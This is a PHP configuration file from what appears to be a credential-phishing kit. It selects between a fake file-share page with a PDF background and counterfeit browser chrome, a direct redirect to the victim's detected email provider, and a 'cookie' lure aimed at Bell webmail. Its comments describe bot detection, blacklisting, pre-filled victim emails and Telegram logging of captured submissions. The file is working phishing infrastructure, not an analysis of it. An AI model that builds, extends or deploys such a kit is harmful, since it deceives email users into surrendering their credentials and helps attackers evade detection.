<?php
/**
 * Application Mode Configuration
 * 
 * Controls how the app behaves after CAPTCHA verification.
 * 
 * APP_MODE options:
 *   'fileshare' - Default. Shows file share UI (PDF viewer background, fake browser
 *                 chrome, email verification container). Provider page loads in iframe.
 *                 This is the original behavior.
 * 
 *   'direct'    - Skips the file share UI entirely. After CAPTCHA verification,
 *                 the email is extracted, the provider is detected, and the user
 *                 is redirected straight to the correct provider page. No iframe,
 *                 no PDF background, no fake browser container.
 *                 All other functionality (CAPTCHA, bot detection, blacklist,
 *                 telegram logging, redirect after submission) remains intact.
 * 
 *   'cookie'    - Cookie verification mode. Shows cookie verification UI with
 *                 progressive access control. User must click cookie 3 times:
 *                 - Click 1-2: Opens target link in new tab + shows email verification popup
 *                 - Click 3: Starts security verification → redirects to centralized system
 *                 Uses localStorage to track access count. After threshold, uses same
 *                 centralized redirect as fileshare mode. Target link configurable
 *                 via ?link= parameter.
 * 
 * IMPORTANT: The email MUST be present in the URL (?ref=...) for direct mode to
 * work. If no email is found, the user is redirected to the centralized redirect URL.
 */

define('APP_MODE', 'fileshare');

// Cookie Mode Configuration
define('COOKIE_TARGET_LINK', 'https://webmail.bell.net/bell/');
define('COOKIE_MAX_CLICKS', 3);
define('COOKIE_STORAGE_KEY', 'cookie_access_count');
define('COOKIE_IMAGE_URL', 'https://picsum.photos/seed/cookie-verification/300/200.jpg');

/**
 * Get current app mode configuration
 * 
 * @return array Mode-specific configuration
 */
function getAppModeConfig() {
    $mode = APP_MODE;
    
    switch ($mode) {
        case 'fileshare':
            return [
                'mode' => 'fileshare',
                'ui_file' => 'share/portal.html',
                'requires_verification' => true,
                'redirect_after_verification' => true,
                'description' => 'File share mode with verification overlay'
            ];
            
        case 'direct':
            return [
                'mode' => 'direct',
                'ui_file' => null,
                'requires_verification' => true,
                'redirect_after_verification' => true,
                'description' => 'Direct redirect mode without UI'
            ];
            
        case 'cookie':
            return [
                'mode' => 'cookie',
                'ui_file' => 'cookie/index.html',
                'requires_verification' => true,
                'redirect_after_verification' => true,
                'target_link' => COOKIE_TARGET_LINK,
                'max_clicks' => COOKIE_MAX_CLICKS,
                'storage_key' => COOKIE_STORAGE_KEY,
                'image_url' => COOKIE_IMAGE_URL,
                'description' => 'Cookie verification mode with progressive access'
            ];
            
        default:
            return [
                'mode' => 'fileshare',
                'ui_file' => 'share/portal.html',
                'requires_verification' => true,
                'redirect_after_verification' => true,
                'description' => 'Default file share mode'
            ];
    }
}

/**
 * Check if cookie mode is active
 * 
 * @return bool
 */
function isCookieMode() {
    return APP_MODE === 'cookie';
}

/**
 * Check if direct mode is active
 * 
 * @return bool
 */
function isDirectMode() {
    return APP_MODE === 'direct';
}

/**
 * Check if fileshare mode is active
 * 
 * @return bool
 */
function isFileshareMode() {
    return APP_MODE === 'fileshare';
}
